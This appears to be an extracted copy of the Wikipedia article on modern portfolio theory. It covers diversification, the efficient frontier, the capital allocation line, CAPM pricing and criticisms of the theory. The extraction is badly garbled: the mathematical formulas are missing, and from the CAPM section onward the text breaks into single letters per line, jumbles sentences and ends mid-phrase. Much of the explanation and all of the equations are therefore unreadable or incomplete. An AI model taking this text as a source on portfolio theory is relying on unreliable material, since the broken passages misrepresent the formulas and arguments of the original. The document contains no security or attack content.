needs to be enabled. // Checkout the extension documentation for more info: // }), ], { from: owner } ); // After the adapter was configured to access the DAO, // and/or an Extension, you can finalize the DAO creation. await dao.finalizeDao({ from: owner }); // Start your test here ... });}); #Adding documentation Each adapter must provide its own documentation describing what is the use-case it solves, what are the functions and interactions it contains. There is a template that you can use to create the docs for your new adapter, check out the Adapter Template. #Done If you have followed all the steps above and created a well tested, documented Adapter, please submit a Pull Request to Tribute Contracts, so we can review it and provide additional feedback. Thank you!
https://tributedao.com/docs/tutorial/adapters/creating-an-adapter/
CC-MAIN-2021-43
refinedweb
1,716
55.84
CHAPTER 4 The Java programming language is a strongly typed language, which means that every variable and every expression has a type that is known at compile time. Types limit the values that a variable (§4.5) types. The numeric types are the integral types byte, short, int, long, and char, and the floating-point types float and double. The reference types (§4.3) are class types, interface types, and array types. There is also a special null type. An object (§4.3.1) is a dynamically created instance of a class type or a dynamically created array. The values of a reference type are references to objects. All objects, including arrays, support the methods of class Object (§4.3.2). String literals are represented by String objects (§4.3.3). Names of types are used (§4.4) in declarations, casts, class instance creation expressions, array creation expressions, class literals,. If T is a primitive type, then a variable of type "array of T" can hold a null reference or a reference to any array of type "array of T"; if T is a reference type, then a variable of type "array of T" can hold a null reference or a reference to any array of type "array of S" such that type S is assignable (§5.2) to type T. A variable of type Object can hold a null reference or a reference to any object, whether class interface numeric types are the integral types and the floating-point types... If an integer operator other than a shift operator has at least one operand of type long, then the operation is carried out using 64-bit precision, and the result of the numerical operator is of type long. If the other operand is not long, it is first widened (§5.1and double, which are conceptually associated with the single-precision 32-bit and double-precision 64-bit format IEEE 754 values and operations as specified in IEEE Standard for Binary Floating-Point Arithmetic, ANSI/IEEE Standard 754-1985 (IEEE, New York). The IEEE 754 standard includes not only positive and negative. (§5.1.8, §15.4). The finite nonzero values of any floating-point value set can all be expressed in the form , where s is +1 or -1, m is a positive integer less than , and e is an integer between and , , 4.. Positive zero and negative zero compare equal; thus the result of the expression 0.0==-0.0 is true and the result of 0.0>-0.0 is false. But other operations can distinguish positive and negative zero; for example, 1.0/0.0 has the value positive infinity, while the value of 1.0/-0.0 is negative infinity..1). In particular, x!=x is true if and only if x is NaN, and (x<y) == !(x>=y) will be false if x or y is NaN. Any value of a floating-point type may be cast to or from any numeric type. There are no casts between floating-point types and the type boolean.. If at least one of the operands to a binary operator is of floating-point type, then the operation is a floating-point operation, even if the other is integral. If at least one of the operands to a numerical operator is of type double, then the operation is carried out using 64-bit floating-point arithmetic, and the result of the numerical operator is a value of type double. (If the other operand is not a double, it is first widened to type double by numeric promotion (§5.6).) Otherwise, the operation is carried out using 32-bit floating-point arithmetic, and the result of the numerical operator is a value of type float. If the other operand is not a float, it is first widened to type float by numeric promotion. Operators on floating-point numbers behave. language uses round toward zero when converting a floating value to an integer (§5.1.3), which acts, in this case, as though the number were truncated, discarding the mantissa bits. Rounding toward zero chooses at its result the format's value closest to and no greater in magnitude than the infinitely precise result. Floating-point operators produce no exceptions (§11).. The example program: produces the output:produces the output:class Test { public static void main(String[] args) { // An example of overflow: double d = 1e308; System.out.print("overflow produces infinity: "); System.out.println(d + "*10==" + d*10); // An example of gradual underflow: d = 1e-305 * Math.PI; System.out.print("gradual underflow: " + d + "\n "); for (int i = 0; i < 4; i++) System.out.print(" " + (d /= 100000)); System.out.println(); // An example of NaN: System.out.print("0.0/0.0 is Not-a-Number: "); d = 0.0/0.0; System.out.println(d); // An example of inexact results and rounding: System.out.print("inexact results with float:"); for (int i = 0; i < 100; i++) { float z = 1.0f / i; if (z * i != 1.0f) System.out.print(" " + i); } System.out.println(); // Another example of inexact results and rounding: System.out.print("inexact results with double:"); for (int i = 0; i < 100; i++) { double z = 1.0 / i; if (z * i != 1.0) System.out.print(" " + i); } System.out.println(); // An example of cast to integer rounding: System.out.print("cast to int rounds toward 0: "); d = 12345.6; System.out.println((int)d + " " + (int)(-d)); } } This example demonstrates, among other things, that gradual underflow can result in a gradual loss of precision. The results whenThis example demonstrates, among other things, that gradual underflow can result in a gradual loss of precision. The results whenoverflow produces infinity: 1.0e+308*10==Infinity gradual underflow: 3.141592653589793E-305 3.1415926535898E-310 3.141592653E-315 3.142E-320 0.0 0.0/0.0 is Not-a-Number: NaN inexact results with float: 0 41 47 55 61 82 83 94 97 inexact results with double: 0 49 98 cast to int rounds toward 0: 12345 -12345 x can be converted to a boolean, following the C language convention that any nonzero value is true, by the expression x!=0. An object reference obj can be converted to a boolean, following the C language convention that any reference other than null is true, by the expression obj!=null. A). Many of these cases are illustrated in the following example: which produces the output:which produces the output:class Point { int x, y; Point() { System.out.println("default"); } Point(int x, int y) { this.x = x; this.y = y; } // A Point instance is explicitly created at class initialization time: static Point origin = new Point(0,0); // A String can be implicitly created by a + operator: public String toString() { return "(" + x + "," + y + ")"; } } class Test { public static void main(String[] args) { // A Point is explicitly created using newInstance: Point p = null; try { p = (Point)Class.forName("Point").newInstance(); } catch (Exception e) { System.out.println(e); } // An array is implicitly created by an array constructor: Point a[] = { new Point(0,0), new Point(1,1) }; // Strings are implicitly created by + operators: System.out.println("p: " + p); System.out.println("a: { " + a[0] + ", " + a[1] + " }"); // An array is explicitly created by an array creation expression: String sa[] = new String[2]; sa[0] = "he"; sa[1] = "llo"; System.out.println(sa[0] + sa[1]); } } The operators on references to objects are:The operators on references to objects are:default p: (0,0) a: { (0,0), (1,1) } hello +(§15.18.1), which, when given a Stringoperand and a reference, will convert the reference to a Stringby invoking the toStringmethod of the referenced object (using "null"if either the reference or the result of toStringis a null reference), and then will produce a newly created Stringthat is the concatenation of the two strings instanceofoperator (§15.20.2) ==and !=(§15.21.3) ? :(§15.25). The example program: produces the output:produces the output:class Value { int val; } class Test { public static void main(String[] args) { int i1 = 3; int i2 = i1; i2 = 4; System.out.print("i1==" + i1); System.out.println(" but i2==" + i2); Value v1 = new Value(); v1.val = 5; Value v2 = v1; v2.val = 6; System.out.print("v1.val==" + v1.val); System.out.println(" and v2.val==" + v2.val); } }: The following code fragment contains one or more instances of most kinds of usage of a type: In this example, types are used in declarations of the following:In this example, types are used in declarations of the following:import java.util.Random; class MiscMath { int divisor; MiscMath(int divisor) { this.divisor = divisor; } float ratio(long l) { try { l /= divisor; } catch (Exception e) { if (e instanceof ArithmeticException) l = Long.MAX_VALUE; else l = 0; } return (float)l; } double gausser() { Random r = new Random(); double[] val = new double[2]; val[0] = r.nextGaussian(); val[1] = r.nextGaussian(); return (val[0] + val[1]) / 2; } }. A local variable declaration statement may contain an expression which initializes the variable. The local variable with an initializing expression is not initialized, however, until the local variable declaration statement that declares it is executed. (The rules of definite assignment (§16) prevent the value of a local variable from being used before it has been initialized or otherwise assigned a value.) The local variable effectively ceases to exist when the execution of the block or forstatement is complete. switchstatement (§14.10), where it is possible for control to enter a block but bypass execution of a local variable declaration statement. Because of the restrictions imposed by the rules of definite assignment (§16), however, the local variable declared by such a bypassed local variable declaration statement cannot be used before it has been definitely assigned a value by an assignment expression (§15.26). The following example contains several different kinds of variables: class Point { static int numPoints; // numPoints is a class variable int x, y; // x and y are instance variables int[] w = new int[10]; // w[0] is an array component int setX(int x) { // x is a method parameter int oldx = this.x; // oldx is a local variable this.x = x; return oldx; } } final. A final variable may only be assigned to once. It is a compile time error if a final variable is assigned to unless it is definitely unassigned (§16) immediately prior to the assignment. A blank final is a final variable whose declaration lacks an initializer. Once a final variable has been assigned, it always contains the same value. If a final variable holds a reference to an object, then the state of the object may be changed by operations on the object, but the variable will always refer to the same object. This applies also to arrays, because arrays are objects; if a final variable holds a reference to an array, then the components of the array may be changed by operations on the array, but the variable will always refer to the same array.. byte, the default value is zero, that is, the value of (byte)0. short, the default value is zero, that is, the value of (short)0. int, the default value is zero, that is, 0. long, the default value is zero, that is, 0L. float, the default value is positive zero, that is, 0.0f. double, the default value is positive zero, that is, 0.0d., and that class will necessarily be compatible with the compile-time type. Even though a variable or expression may have a compile-time type that is an interface type, there are no instances of interfaces. A variable or expression whose type is an interface type can reference any object whose class implements (§8.1.4) that interface. Here is an example of creating new objects and of the distinction between the type of a variable and the class of an object: In this example:In this example:public interface Colorable { void setColor(byte r, byte g, byte b); } class Point { int x, y; } class ColoredPoint extends Point implements Colorable { byte r, g, b; public void setColor(byte rv, byte gv, byte bv) { r = rv; g = gv; b = bv; } } class Test { public static void main(String[] args) { Point p = new Point(); ColoredPoint cp = new ColoredPoint(); p = cp; Colorable c = cp; } }.
http://java.sun.com/docs/books/jls/second_edition/html/typesValues.doc.html
crawl-002
refinedweb
2,038
55.34
What happens if one builds up on the Spectre vulnerability to implement a convoluted version of memcpy? From an obfuscator point-of-view, it unleashes a wide range of opportunities, which turn a definite bug into a fun[nk]y feature. Context Basically, the Spectre [0] vulnerability makes it possible to read a memory location without actually referencing or accessing it. Some kind of shadow memory copy. Let's formalize it that way. The code is an extension to We leverage that PoC to write the following function: void shadow_memcpy(char * dest, char const * src, size_t n) { /* Default to a cache hit threshold of 80 */ int cache_hit_threshold = 80; void* mem = malloc(n + 1 /* + 1 to avoid an out of bound write in readMemoryByte*/); memcpy(mem, src, n); size_t malicious_x = (size_t)((char const*)mem - ); } free(mem); } There's not much to say about it, except that it first performs a copy from src to mem to make sure the address is not located on the stack. It then uses spectre vulnerability to perform a shadow copy from mem to dest. Why is it a good obfuscation? Using the same idea as Spectre, shadow_memcpy uses a global hidden state, the memory cache, to transfer data from a buffer to another one. The good thing with that hidden state is that it is invisible to static and dynamic analysis tools. There is actually no data dependency between src and dest. It also turns out that the original PoC makes my qemu (version 2.10.1) crash with an illegal hardware instruction signal. Some kind of nice anti-debug effect :-) In the following, let us assume that the shadow_memcpy is opaque to a static analysis tool. What happens then? Application 1: Opaque Predicate The following piece of code: bool true_predicate(int any) { char p = any; char res; shadow_memcpy(&res, &p, sizeof(p)); return p == res; } builds an opaque predicate with dependency injection. The parameter any seems to be used but its value actually does not matter. The result should always be true, but because shadow_memcpy is opaque, so is true_predicate! Application 2: Opaque Function Call The following code is just a variant of the previous one, storing a function pointer instead of a random value. typedef void (*function_type)(char const*); function_type call_puts() { function_type out[1]; shadow_memcpy(out, puts, sizeof(function_type)); return out[0]; } So this actually returns the address of the puts symbol each time it's called, in an opaque way thanks to shadow_memcpy. Wrap every function call in a similar manner and IDA will have a hard time reconstructing the call-graph :-) Application 3: Prevent Symbolic Analysis Tools like Triton [1] try to track the use of a register marked as a symbolic value. To achieve this goal they (try to) emulate every instruction, keep track of the operations and then solve the symbolic expression at some point to recover user inputs. With shadow_memcpy, something that cannot be captured by their symbolic model is introduced. The relationship between the dest and src is lost, and there is no more formula to solve: int anonymize(int value) { int res; shadow_memcpy(&res, &value, sizeof(value)); return res; } We tried to solve a stupid challenge like the one below with Triton, and it indeed failed to find a solution for input: int main(int argc, const char * * argv) { int /*the symbolic value*/ input = atoi(argv[1]); if(anonymize(input) == 1) puts("yeah"); return (0); } What about watchpoints? Out of curiosity, and to answer the questionning of @pappy, I tried the following setup: Write a variant of shadow_memcpy that does not perform the copy of src in the allocated buffer mem. Let's call it nether_shadow_memcpy void __attribute__((noinline)) nether_shadow_memcpy(char * dest, char const * src, size_t n); // to make breakpointing easier void nether_shadow_memcpy(char * dest, char const * src, size_t n) { /* Default to a cache hit threshold of 80 */ int cache_hit_threshold = 80; size_t malicious_x = (size_t)(src - ); } } Compile a test program with gcc -O0 -g, run it under gdb, break on nether_shadow_memcpy and use a hardware watchpoint to check if *src is accessed (using awatch *src''). Issue ``show can-use-hw-watchpoints to make sure hardware watchpoints are enabled. $> gdb ./.a.out ... (gdb) b nether_shadow_memcpy ... (gdb) r Starting program: .../a.out Breakpoint 1, nether_shadow_memcpy(dest=0x7fffffffe58c "UU", src=0x555555756580 <mem> "\001", n=4) at spectre.c:204 (gdb) awatch *0x555555756580 Hardware access (read/write) watchpoint 2: *0x555555756580 (gdb) c Continuing. yeah [Inferior 1 (process 14810) exited normally] And it's not caught! Well, something probably happens at the hardware level, but gets filtered out because it's only a speculative read. But that's only... my speculation :-) Limitations There are indeed limitations to the approach, which don't make it a reasonable choice for a real obfuscator: - It relies on a timing attack. Although it is surprisingly accurate, there is no guarantee that it will work faithfully in say... multithreaded applications or CPU under a heavy load. - The pattern is likely to be known, or easily reversible by a human reverser. And then a specific pattern matching approach can just catch shadow_memcpy and give it the semantic of a memcpy (this is going to get harder if shadow_memcpy is marked as __attribute__((always_inline)) though). - The size of the copy is limited by the register size, but this could be worked around by splitting the copy into chunks. - Don't ask about the performance impact. So, well, it's still a bug we cannot seriously build upon, but at least these were funny applications :) Conclusion There's actually a good idea hidden in this blogpost: if you can craft a dozen obfuscated versions of memcpy (e.g. building one based on an xor obfuscated by Mixed Boolean Arithmetic), then you have plenty of obfuscations to unleash!
https://blog.quarkslab.com/spectre-is-not-a-bug-it-is-a-feature.html
CC-MAIN-2021-39
refinedweb
957
50.26
Opened 7 years ago Closed 13 months ago Last modified 13 months ago #1631 closed enhancement (wontfix) Options request: redirection page, anonymous permissions Description Request that redirection page can be specified - for example, if anonymous is allowed to view wiki but not submit tickets, then it would be nice to redirect to wiki page instead of login. Also, if menu item is allowed for anonymous, should not redirect at all. Attachments (0) Change History (4) comment:1 Changed 6 years ago by BladeHawke comment:2 Changed 5 years ago by matthew.pusateri@… What I did to work around this, was to add /wiki and /search to the allowable pages. Our anonymous only has wiki_view and search_view rights. We then protect everything else with permissions or privatewiki pages. Then what I did is on our apache server I did a redirect from / to /wiki That way the the first wikistart page always was allowed. def get_navigation_items(self, req): if ((req.authname and req.authname != 'anonymous') or \ req.path_info.startswith('/login') or \ req.path_info.startswith('/reset_password') or \ req.path_info.startswith('/register') or \ req.path_info.startswith('/search') or \ req.path_info.startswith('/wiki')): return [] comment:3 Changed 13 months ago by rjollos - Resolution set to wontfix - Status changed from new to closed comment:4 Changed 13 months ago by rjollos Plugin is deprecated. See the PermRedirectPlugin. This would require permissions checking which is not done at all by the existing plugin. I will take the request under advisement, but I have a couple old tickets that I haven't had time to work on yet
http://trac-hacks.org/ticket/1631
CC-MAIN-2013-48
refinedweb
261
58.08
I thought so once. I had created a simulation where creatures live in my artifisial enviorment as is they, move around, eat, reproduce, and die. Now, I used RAND() to detirmain the random locations of the food, creatures and sex of the creatures. And I noticed that most of the creatures where female. In my code 1 ment a male, and 0 meant a female. Also most of the creatures and food seemed to allways popup near the x-y coords of 0x0. (Near the top left.) So I threw together a program that checked the average. Here is my code: Amazingly, the result is 496. So it does favor the lower number a tiny bit, but I expected more so than this.Amazingly, the result is 496. So it does favor the lower number a tiny bit, but I expected more so than this.Code: #include <windows.h> #define MAX_TIMES 500000 int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) { char szText[MAX_PATH * 10]; strcpy(szText, "This program will run the RAND() function\nthrough a loop, then display the average."); MessageBox(NULL, szText, "Random Generator Tester", MB_ICONINFORMATION); int nRand[MAX_TIMES]; int nResualt; for(int i = 0; i < MAX_TIMES; i++){ nRand[i] = rand()%1000; nResualt += nRand[i]; } nResualt /= MAX_TIMES; wsprintf(szText, "After running RAND() five hundred thousand times at\nthe value of 1000, the average has been gauged at %d.", nResualt); MessageBox(NULL, szText, "Random Generator Tester", MB_ICONINFORMATION); return 0; }
http://cboard.cprogramming.com/cplusplus-programming/77987-rand-does-favor-lower-number-printable-thread.html
CC-MAIN-2014-52
refinedweb
242
57.16
From Wikipedia, the free encyclopedia Portfolio analysis redirects here. For theorems about the meanvariance efficient frontier, see Mutual fund separation theorem. For non-mean-variance portfolio analysis, see Marginal conditional stochastic dominance. Modern portfolio theory (MPT) is a theory of investment[1] for the theory,. For example, as prices in the stock market tend to move independently from prices in the bond market, a collection of both types of assets can therefore have lower overall risk than either individually. But diversification lowers risk even if assets' returns are not negatively correlated—indeed, even if they are positively correlated.correlated, MPT seeks to reduce the total variance of the portfolio return. MPT also assumes that investors are rational and markets areefficient. MPT was developed in the 1950s through the early 1970s and was considered an important advance in the mathematical modeling of finance. Since then, many theoretical and practical criticisms have been leveled against it. These include the fact that financial returns do not follow aGaussian distribution or indeed any symmetric distribution, and that correlations between asset classes are not fixed but can vary depending on external events (especially in crises). Further, there is growing evidence that investors are not rational and markets are not efficient.[2][3] Contents [hide] • • • 1 Concept 2 History 3 Mathematical model ○ ○ ○ ○ ○ • 3.1 Risk and expected return 3.2 Diversification 3.3 The efficient frontier with no risk-free asset 3.4 The two mutual fund theorem 3.5 The risk-free asset and the capital allocation line 4 Asset pricing using MPT ○ ○ • 4.1 Systematic risk and specific risk 4.2 Capital asset pricing model 5 Criticism ○ ○ ○ 5.1 Assumptions 5.2 MPT does not really model the market 5.3 The MPT does not take its own effect on asset prices into account • • 6 Extensions 7 Other Applications ○ 7.1 Applications to project portfolios and other "nonfinancial" assets ○ • • • • 7.2 Application to other disciplines 8 Comparison with arbitrage pricing theory 9 See also 10 References 11 Further reading • 12 External links [ edit]Concept.)[4] MPT is therefore a form of diversification. Under certain assumptions and for specific quantitative definitions of risk and return, MPT explains how to find the best possible diversification strategy. [ edit]History Markowitz classifies it simply as "Portfolio Theory," because "There's Harry Markowitz introduced MPT in a 1952 article[5] and a 1959 book. [6] nothing modern about it." See also this[4] survey of the history. [ edit]Mathematical model In some sense the mathematical derivation below is MPT, although the basic concepts behind the model have also been very influential.[4] This section develops the "classic" MPT model. There have been many extensions since. [edit]Risk and expected returnoff will be the same for all investors, but different investors will evaluate however. for all asset pairs (i.. the share of asset i in the portfolio). Note that the theory uses standard deviation of return as a proxy for risk. Portfolio return variance: where ρij is the correlation coefficient between the returns on assets i and j. Ri is the return on asset i and wi is the weighting of component asset i (that is. Under the model: Portfolio return is the proportion-weighted combination of the constituent assets' returns.e. j). where ρij = 1 for i=j. see criticism. if for that level of risk an alternative portfolio exists which has better expected returns. The implication is that a rational investor will not invest in a portfolio if a second portfolio exists with a more favorable risk-expected return profile – i. There are problems with this. In general: Expected return: where Rp is the return on the portfolio. Portfolio return volatility (standard deviation): For a two asset portfolio: . Portfolio volatility is a function of the correlations ρij of the component assets. which is valid if asset returns are jointly normally distributed or otherwise elliptically distributed. Alternatively the expression can be written as: .the trade-off differently based on individual risk aversion characteristics. [edit]The efficient frontier with no risk-free asset .). )). investors can reduce their exposure to individual asset risk by holding a diversified portfolio of assets. Diversification may allow for the same portfolio expected return with reduced risk. Portfolio return: Portfolio variance: For a three asset portfolio: Portfolio return: Portfolio variance: [edit]Diversification An investor can reduce portfolio risk simply by holding combinations of instruments which are not perfectly positively correlated (correlation coefficient In other words. Combinations along this upper edge represent portfolios (including no holdings of the risk-free asset) for which there is lowest risk for a given level of expected return. is a "risk tolerance" factor. for a given "risk tolerance" . which means investors can short a security. The left boundary of this region is a hyperbola. As shown in this graph. With a risk-free asset. can be plotted in risk-expected return space. and R is a vector of expected returns. where 0 results in the portfolio with minimal risk and results in the portfolio infinitely far out on the frontier with both expected return and risk unbounded. without including any holdings of the risk-free asset. In matrix form. i i (The weights can be negative. Σ is the covariance matrix for the returns on the assets in the portfolio. . The hyperbola is sometimes referred to as the 'Markowitz Bullet'. the efficient frontier is found by minimizing the following expression: wTΣw − q * RTw where w is a vector of portfolio weights and ∑ w = 1. Equivalently.). a portfolio lying on the efficient frontier represents the combination offering the best possible expected return for given risk level. and the collection of all such possible portfolios defines a region in this space. and is the efficient frontier if no risk-free asset is available.[7]and the upper edge of this region is the efficient frontier in the absence of a risk-free asset (sometimes called "the Markowitz bullet"). the straight line is the efficient frontier. every possible combination of the risky assets.Efficient Frontier. Matrices are preferred for calculations of the efficient frontier. The above optimization finds the point on the frontier at which the inverse of the slope of the frontier would be q if portfolio return variance instead of standard deviation were plotted horizontally. MATLAB. Many software packages. wTΣw is the variance of portfolio return. provide optimizatio n routines suitable for the above problem. This problem is easily solved using a Lagrange multiplier. This version of the problem requires that we minimize wTΣw subject to RTw = μ for parameter μ. The frontier in its entirety is parametric on q. [edit]The two mutual fund theorem . RTw is the expected return on the portfolio. Mathematica and R. An alternative approach to specifying the efficient frontier is to do so parametrically on expected portfolio return RTw. including Microsoft Excel. In practice. both mutual funds will be held in positive quantities. when it is combined with any other asset. the tangency with the hyperbola represents a portfolio with no risk-free holdings and 100% of assets held in the portfolio occurring at the tangency point. F is the riskfree asset. the latter two given portfolios are the "mutual funds" in the theorem's name. since its variance is zero). an investor can achieve any desired efficient portfolio even if all that is accessible is a pair of efficient mutual funds. then one of the mutual funds must be sold short (held in negative quantity) while the size of the investment in the other mutual fund must be greater than the amount available for investment (the excess being funded by the borrowing from the other fund). By the diagram. and its formula can be shown to be In this formula P is the sub-portfolio of risky assets at the tangency with the Markowitz bullet.One key result of the above analysis is the two mutual fund theorem.[7] This theorem states that any portfolio on the efficient frontier can be generated by holding a combination of any two given portfolios on the frontier. If the desired portfolio is outside the range spanned by the two mutual funds. the half-line shown in the figure is the new efficient frontier. It is tangent to the hyperbola at the pure risky portfolio with the highest Sharpe ratio. and points on the half-line beyond the tangency point are leveraged portfolios involving negative holdings of the risk-free asset (the latter has been sold short—in other words. Its horizontal intercept represents a portfolio with 100% of holdings in the risk-free asset. it is also uncorrelated with any other asset (by definition. because they pay a fixed rate of interest and have exceptionally low default risk. and C is a combination of portfolios P and F. The risk-free asset has zero variance in returns (hence is risk-free). This efficient half-line is called the capital allocation line (CAL). points between those points are portfolios containing positive amounts of both the risky tangency portfolio and the risk-free asset. When a risk-free asset is introduced. So in the absence of a risk-free asset. the introduction of the risk-free asset as a possible component of the portfolio has improved the range of risk-expected return combinations available. the investor has borrowed at the risk-free rate) and an amount invested in the tangency portfolio equal to more than 100% of the investor's initial capital. because everywhere except at the tangency portfolio the half-line gives a higher expected return than the hyperbola does at every possible . As a result. If the location of the desired portfolio on the frontier is between the locations of the two mutual funds. or portfolio of assets. the change in return is linearly related to the change in risk as the proportions in the combination vary. [edit]The risk-free asset and the capital allocation line Main article: Capital allocation line The risk-free asset is the (hypothetical) asset which pays a risk-free rate. short-term government securities (such as US treasury bills) are used as a risk-free asset. [ edit]Asset pricing using MPT The above analysis describes optimal behavior of an individual investor. and therefore their expected returns. [7] where the mutual fund referred to is the tangency portfolio. The fact that all points on the linear efficient locus can be achieved by a combination of holdings of the risk-free asset and the tangency portfolio is known as the one mutual fund theorem. Specific . [edit]Sy stemat ic risk and specifi c risk Specific risk is the risk associate d with individual assets within a portfolio these risks can be reduced through diversifica tion (specific risks "cancel out"). Since everyone holds the risky assets in identical proportions to each other—namely in the proportions given by the tangency portfolio—in market equilibrium the risky assets' prices.risk level. Thus relative supplies will equal relative demands. Asset pricing theory builds on this analysis in the following way. MPT derives the required expected return for a correctly priced asset in this context. will adjust so that the ratios in the tangency portfolio are the same as the ratios in which the risky assets are supplied to the market. systemati c risk cannot be diversified away (within one market). unique.except for selling short as noted below. unsystem atic.a . Syst ematic risk (a. .k. or idiosyncra tic risk.risk is also called diversifiab le. Within the market portfolio. portfolio risk or market risk) refers to the risk common to all securities . Since a security will be purchase d only if it improves the riskexpected return characteri stics of the market portfolio. the relevant measure of the risk of a . Systemati c risk is therefore equated with the risk (standard deviation) of the market portfolio.asset specific risk will be diversified away to the extent possible. In this context. and its correlatio n with the market portfolio. are historicall y observed and are therefore given. (There are several approach es to asset pricing that attempt to price assets by . and not its risk in isolation. the volatility of the asset.security is the risk it adds to the market portfolio. ) Systemati c risks within one market can be managed through a strategy of using both long and short positions within one portfolio.modelling the stochastic properties of the moments of assets' returns these are broadly referred to as condition al asset pricing models. [edit]C apital asset pricin . creating a "market neutral" portfolio. The CAP M is a model which derives the theoretica .g model Main article: C apital Asset Pricing Model The asset return depends on the amount paid for the asset today. The price paid must ensure that the market portfolio's risk / return characteri stics improve when the asset is added to it. discount rate) for an asset in a market.e. B e t a .. i s . The CAPM is usually expresse d: β .l required expected return (i. given the risk-free rate available to investors and the risk of the market as a whole. t h e m e a s u r e o f a s s e t s e n s i t i v i t y t o a . B e t a i .m o v e m e n t i n t h e o v e r a l l m a r k e t . s u s u a l l y f o u n d v i a r e g r e s s i o n o n h i s t . o r i c a l d a t a . B e t a s e x c e e d i n g o n e s i g n i . f y m o r e t h a n a v e r a g e " r i s k i n e s s " i n t h . e s e n s e o f t h e a s s e t ' s c o n t r i b u t i o n t o . o v e r a l l p o r t f o l i o r i s k ; b e t a s b e l o w o n e i n d i c a t e a l o w e r t h a n a v e r a g e r i s k c o n t r i b u t i o n . i s t h e m a r k e t p r e m i u m , t h e e x p e c t e d e x c e s s r e t u r n o f t h e m a r . k e t p o r t f o l i o ' s e x p e c t e d r e t u r n o v e r t . h e r i s k f r e e r a t e . This equ atio n can be stati stic ally esti mat ed u sing the follo win g re gres sion equ . atio n: w h e r e α i i s c a ll e d t h e a s s e t' s a l p h a . β i i s t h e . a s s e t' s b e t a c o e ff ic i e n t a n d S C L is t h e S e c u ri t y C h . a r a c t e ri s ti c L i n e . O n c e a n a s s e t' s e x p e c t e d r e t . E ( R i ) . is c a lc u l a t e d u si n g C A P M .u r n . t h e f u t u r e c . a s h fl o w s o f t h e a s s e t c a n b e d is c o u n t e d t o t h e ir p . r e s e n t v a l u e u si n g t h is r a t e t o e s t a b li s h t h e c o rr . A ri s ki e r s t o c k w ill h a v e a h i .e c t p ri c e f o r t h e a s s e t. .g h e r b e t a a n d w ill b e d is c o u n t e d a t a h i g h e r r a t e . l e s s s e n si ti v e s t o c k s w ill h a v e l o w e r b e t a s a n d b e . I n t h e o r y . a n a s s e t .d is c o u n t e d a t a l o w e r r a t e . is c o rr e c tl y p ri c e d w h e n it s o b s e r v e d p ri c e is t h e s a m . e a s it s v a l u e c a lc u l a t e d u si n g t h e C A P M d e ri v e d d . If t h e o b s e r v e d p ri c e is h i g h e r t h a n .is c o u n t r a t e . t h e n t h e a s s e t is o v e r v a l u e d . it is .t h e v a l u a ti o n . is added . a. (1) The increment al impact on risk and expected return when an additional risky asset.u n d e r v a l u e d f o r a t o o l o w p ri c e . to the market portfolio. Market portfolio's risk = Hence. th improvement in its risk-to-expected return ratio achiev . These results are used to derive the assetappropriat e discount rate. i. additional risk = Market portfolio's expected return = Hence additional expected return = (2) If an asset.e. follows from the formulae for a twoasset portfolio. a. m. correctly priced. risk added to portfolio = but since the weight of the asset will be relatively low. : i. β -.by adding it to the market portfolio. Rf.the covariance between the asset's return and the market's return divided by the variance of the market return— i.e.e.e. this is rational if Thus: i. the sensitivity of the asset price to movement in the market portfolio's value. m will at least match gains of spending that money on an increased stake in the market portfol The assumption is that the investor w purchase the asse with funds borrow at the risk-free rate. [ edit]Criticis Despite its theore critics of MPT que an ideal investing because its mode markets does not world in many wa [edit]Assump . : is the “beta”. it is f observed tha and other ma normally distr swings (3 to 6 deviations fro occur in the m frequently tha distribution as predict. Others ar the neglect of taxe fees. Corr on systemic r between the u and change w relationships Examples inc declaring war . In fact. suc ofNormal distribut returns. Som the equations. a compromises MP Asset return (jointly) norm distributed r .The framework of many assumption and markets.[8] Whi also be justifi any return dis isjointly ellipti joint elliptical symmetrical w returns empir Correlations are fixed and forever. None of thes are entirely true. All investors maximize ec other words. much money regardless o consideratio assumption o market hypot MPT relies. All investors and risk-ave another assu the efficient m but we now k frombehavior market partic not rational. I for "herd beha who will acce for higher risk gamblers clea and it is poss stock traders well.general mark times of finan assets tend to positively cor they all move In other word down precise are most in n from risk. All investors the same inf same time. T from the effic . .[11] There are no transaction c financial prod both to taxes costs (such a and taking the will alter the c optimum port assumptions with more com of the model. ca prices to be in inefficient. . Th studied in the of behavioral uses psychol assumptions alternatives to as the overco asset pricing Daniel. In markets conta asymmetry. in those who are informed than Investors ha conception o returns.e.hypothesis. beliefs of inv the true distr returns. David Avanidhar Su (2001). i. A dif is that investo are biased. e. return. In re investor has a All securities into parcels reality. fractio cannot be bo some assets orders sizes. their act influence pri sufficiently lar purchases of can shift mark asset and oth elasticity of d investor may to assemble t optimal portfo moves too mu buying the re Any investor borrow an un at the risk fre interest.. All investors i. a measures used b on expected value that they are math . More complex ver take into account sophisticated mod (such as one with distributions and t mathematical mod rely on many unre [edit]MPT do model the m The risk. Very o expected values f of new circumstan exist when the his generated. but says n those losses migh measurements us are probabilistic in structural.statements about expected value of in the above equa in the definitions of variance and co practice investors predictions based measurements of and volatility for th equations. This is as compared to m approaches to ris Options theory an important concep the probabilistic ri nuclear power [pla economists would The components relationships are m simulations. If val of back pressure in flow to vessel Z . More fundamenta stuck with estimat parameters from p because MPT atte risk in terms of the losses. ISBN 978-0 Essentially. For this rea structural models markets are unlike forthcoming beca essentially be stru the entire world. Hu Management'. there is no of it. p. the m MPT view the ma collection of dice. 2009. but this markets are actua upon a much bigg complicatedchaot world. past market data hypotheses about weighted. which sh sophisticated mar Mathematical risk are also useful on that they reflect in concerns—there i . If nuclear en management this able to compute t a particular plant occurred in the sa —Douglas W.But in the Black-S there is no attemp structure to price outcomes are sim And. unlike the PR a particular system crisis. N is growing awaren concept of system markets. It only maximize risk-adj without regard to consequences. In its complete relian asset prices make all the standard m failures such as th from information asymmetry. varia symmetric measu abnormally high r risky as abnormal Some would argu investors are only losses.minimizing a varia cares about in pra the mathematical of variance to qua might be justified assumption of elli distributed returns distributed returns return distribution measures (like co measures) might investors' true pre In particular. exter and public goods. MPT does not acc personal. . environ or social dimensio decisions. our intuitive fundamentally asy nature. A view. and do no dispersion or tight average returns. contributing to what is called Modern Portfolio Theory. you are left with hot air.279 [edit]The MP its own effec prices into a Diversification elim risk. they rewarded two theoreticians. More may have strateg that shape its inve and an individual have personal go information other returns is relevan Financial econom Nicholas Taleb ha modern portfolio t assumes a Gauss After the stock market crash (in 1987). Harry Markowitz and William Sharpe. [12]:p. who built beautifully Platonic models on a Gaussian base. when would be of little f result is that the w . if you remove their Gaussian assumptions and treat prices as scalable. increased deman assets that. The Nobel 